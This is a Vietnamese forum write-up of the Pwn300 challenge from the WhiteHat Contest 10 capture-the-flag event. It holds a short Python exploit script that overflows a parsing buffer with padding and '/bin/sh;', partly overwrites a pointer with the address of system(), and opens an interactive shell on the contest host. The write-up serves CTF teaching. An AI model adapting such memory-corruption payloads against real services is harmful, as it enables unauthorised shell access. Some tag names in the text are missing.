Tesla123
VIP Members
-
25/03/2014
-
7
-
141 bài viết
[WhiteHat Contest 10] Writeup Pwn300
Bài Pwn300 này không quá khó để khai thác.
Lỗi nằm xảy ra khi parsing 2 tag : và tag . Chi tiết như thế nào, thì các bợn mở ra và reverse lại thì sẽ hiểu . Và tất nhiên bài này khai thác cũng không quá khó .
Mã khai thác của mình:
Tải mã khai thác ở đây : https://gist.github.com/peternguyen93/f2e5cd0685dbd3849010.
Lỗi nằm xảy ra khi parsing 2 tag : và tag . Chi tiết như thế nào, thì các bợn mở ra và reverse lại thì sẽ hiểu . Và tất nhiên bài này khai thác cũng không quá khó .
Mã khai thác của mình:
PHP:
#!/usr/bin/python
from Pwn import *
# from Shellcode import *
p = Pwn(mode=1,host='lab33.wargame.whitehat.vn',port=10300)
def exploit():
payload = '' + 'A'*127 + '' + '/bin/sh;' + 'C'*120
payload+= p.pack(0x400A40)[:3] # system
payload+= ''
p.connect() # ok start to exploit
p.send(payload)
p.io() # interact with socket
exploit()